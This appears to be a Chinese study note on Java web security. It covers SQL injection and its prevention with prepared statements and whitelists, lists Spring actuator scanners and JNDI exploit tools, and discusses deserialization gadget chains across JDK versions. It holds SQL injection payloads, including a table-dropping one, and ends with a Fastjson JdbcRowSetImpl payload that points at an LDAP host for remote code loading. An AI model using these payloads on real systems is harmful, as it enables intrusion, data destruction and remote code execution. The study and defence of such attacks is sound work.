https://github.com/bewhale/JavaSec
https://github.com/whgojp/JavaSecLab
sql 注入
SQL注入的根本原因
SQL注入的根本原因是代码中通过字符串拼接的方式生成SQL语句,也可以说是用户输入被当作SQL代码解释执行,导致数据与代码边界被打破。例如写"select from user where id=" + userId,当攻击者传入1 or 1=1时,最终执行的SQL变成select from user where id=1 or 1=1,就会返回所有用户数据。只要SQL语句是通过拼接构建的,注入点就客观存在。
预编译是唯一可靠的核心防御
安全的写法是使用预编译技术,先定义好带问号占位符的SQL结构,如"select * from user where id=?",再将参数通过setInt、setString等方法传入。即使攻击者传入1 or 1=1,这个内容也只会被当作普通参数值处理,而不会被解析成SQL语句的一部分,因此无法注入。对于SQL中的数据值部分,参数化查询(PreparedStatement、MyBatis #{})是目前最可靠的防御方案。
使用了预编译但仍不安全的情况
有些代码虽然最终用了预编译对象,但SQL语句在传入之前还是拼接生成的。例如先拼接表名:"select * from " + tableName + " where id=?",如果tableName来自外部并传入user;drop table user--,最终执行的SQL就会变成select from user;drop table user-- where id=?,导致删表攻击,预编译无法保护被拼接进去的表名部分。同样的问题还会出现在列名、排序字段、分组字段等位置,例如"select * from user order by " + orderField,如果攻击者控制了orderField,同样可能造成SQL注入。因此预编译只能解决数据值(Value)部分的注入问题,对于表名、列名、排序字段等SQL结构部分,必须采用白名单控制。
参数校验不能替代预编译
先做参数校验再拼接SQL并不安全。比如写一个checkSql函数过滤单引号、双引号、union、select等关键字,然后拼接"select * from user where id=" + userId。攻击者可能利用大小写混淆、双重编码、URL编码、注释符、宽字节编码以及数据库特性等方式绕过过滤规则,最终仍然影响SQL语法结构。参数校验的作用应该是保证业务数据合法,例如年龄必须是数字、用户名长度不能超过20位、手机号必须符合格式,而不是承担SQL注入防御职责。参数校验可以作为辅助措施,但不能替代预编译。
MyBatis中的安全写法
在MyBatis中,#{xxx}对应预编译占位符,例如select * from user where username=#{username},传入admin' or '1'='1时只会作为普通字符串去匹配,不会发生注入。而${xxx}是直接进行字符串拼接,例如select from user where username='${username}',传入同样的参数后,最终SQL会变成select * from user where username='admin' or '1'='1',由于条件恒成立,将返回所有用户数据。因此除动态表名、动态排序字段等少数特殊场景并配合白名单控制外,应尽量避免使用${},优先使用#{}。
SQL注入防御总结
SQL注入的本质是用户输入进入SQL语法结构,被数据库当作代码执行。防御原则可以概括为:数据值一律使用预编译(PreparedStatement、MyBatis #{});表名、列名、排序字段等SQL结构部分使用白名单控制;参数校验用于业务合法性检查而非防注入;禁止直接拼接用户输入构造SQL语句;MyBatis优先使用#{},谨慎使用${};数据库账号遵循最小权限原则,即使发生注入也尽量降低影响范围。
actuator 泄露
dirsearch
https://github.com/sule01u/SBSCAN
https://github.com/CllmsyK/YYBaby-Spring_Scan
https://github.com/wh1t3zer/SpringBootVul-GUI
反序列化
jdk高低版本区别与绕过
JDK 安全演进的核心就是先在 8u121 关闭 RMI 远程 Class 加载、8u191 关闭 LDAP 远程 Class 加载,让 JNDI 远程链基本失效,再从 JDK9 开始引入模块化、JDK16/17 开始加强反射和模块访问限制,导致大量老 Gadget 链失效,所以现代反序列化利用已经从“远程加载恶意 Class”转变为“利用目标本地已有 Gadget 并绕过高版本 JDK 的访问限制”。
JDK 低版本的时候,JNDI 不仅能利用本地 Gadget,还能通过 LDAP/RMI 远程加载攻击者提供的 class 字节码直接执行代码;而从 JDK 8u191 开始官方默认禁止远程 Codebase 加载,这条远程链基本失效了。但反序列化和 JNDI 注入并没有消失,因为攻击者还可以利用目标机器本身已经存在的 Jar 包中的 Gadget 链实现 RCE。所以现在实战中比起关注 JDK 版本,更应该关注目标引入了哪些依赖包,因为决定能否利用的核心往往是 Commons Collections、Spring、Groovy、XBean、Tomcat 等组件是否存在对应 Gadget。
序列化跟链核心
反序列化的核心不是入口,而是利用链。分析时不要从 readObject、Fastjson、JNDI 这些入口开始一路跟代码,否则很容易一路瞎跟代码。正确思路是先找到最终危险点,例如 Runtime.exec、ProcessBuilder、JNDI 或 EL 表达式执行,然后反推是谁调用了它,再继续往上找,直到找到反序列化入口。攻击者本质上就是把一条从入口到危险函数的调用链条件全部满足,让数据最终流向危险点完成利用。简单来说,反序列化负责进门,Gadget 负责带路,危险函数负责执行。
https://github.com/vulhub/java-chains
https://github.com/X1r0z/JNDIMap
https://github.com/welk1n/JNDI-Injection-Exploit
fastjson
JSON.parseObject("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://172.31.0.99:1389/etxt56\",\"autoCommit\":true}");
评论